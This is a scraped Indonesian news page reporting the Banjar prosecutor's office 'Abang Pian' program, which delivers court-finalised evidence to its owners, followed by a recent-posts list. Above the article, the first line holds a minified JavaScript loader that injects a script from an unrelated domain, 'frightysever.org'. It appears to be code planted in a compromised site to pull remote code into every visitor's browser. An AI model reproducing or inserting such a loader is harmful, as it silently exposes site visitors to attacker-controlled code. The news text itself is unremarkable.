(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kejari Banjar Permudah Pengambilan Barang Bukti Sudah Inkrah


MARTAPURA, Untuk mengembalikan barang bukti yang sudah inkrah, Kejaksaan Negeri (Kejari) Kabupaten Banjar membuat program “Abang Pian”. Program Abang Pian merupakanpelayanan publik untuk lebih memudahkan sekaligus membantu masyarakat mendapatkan kembali barang miliknya yang dijadikan barang bukti perkara.

Kepala Kejari Banjar Muji Martopo mengatakan, program tersebut bertujuan untuk memberikan bantuan dan kemudahan bagi setiap anggota masyarakat pemilik barang bukti yang dititipkan di kejaksaan.

“Program Abang Pian merupakan program pelayanan publik untuk lebih memudahkan masyarakat memiliki kembali barang miliknya yang dijadikan barang bukti suatu perkara,” jelas Kajari Banjar.

‘Kelahiran’ Abang Pian didasari keinginan membantu masyarakat untuk mendapatkan kembali barang yang merupakan hak miliknya. Melalui program yang baru diluncurkan itu, masyarakat tidak perlu susah-susah mendatangi kantor Kejari Banjar di Kota Martapura, A Yani Km 38.

“Intinya kami ingin membantu masyarakat sehingga mereka tidak susah lagi mendatangi kantor Kejari untuk mengambil haknya, apalagi jika tempat tinggalnya jauh sehingga tidak membebani,” ungkapnya.

Tanggapan serupa diutarakan Kasi Pengelolaan Barang Bukti dan Barang Rampasan Kejari Banjar Andi Akbar Sobari, buat program ini untuk mengembalikan barang bukti yang sudah inkrah tetapi belum diambil oleh yang berhak.

“Untuk meringankan beban masyarakat, walaupun tempat tinggal pemilik dengan kantor Kejaksaan jauh, maka kita berinisiatif untuk mengantarkan barang bukti itu ke tempat tujuan yang bersangkutan,” katanya.

Ditambahkan, saat ini hampir 20 barang bukti yang sudah inkrah yang belum diambil pemilik. Walaupun ada barang bukti berupa kendaraan yang tidak layak pakai karena barang tersebut merupakan barang bukti dari kasus kecelakaan, pihaknya akan terus berusaha agar barang tersebut kembali kepada pemiliknya. (rendy)

Reporter : Rendy/b>
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

8 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

10 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

11 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

15 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

16 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

16 jam ago

This website uses cookies.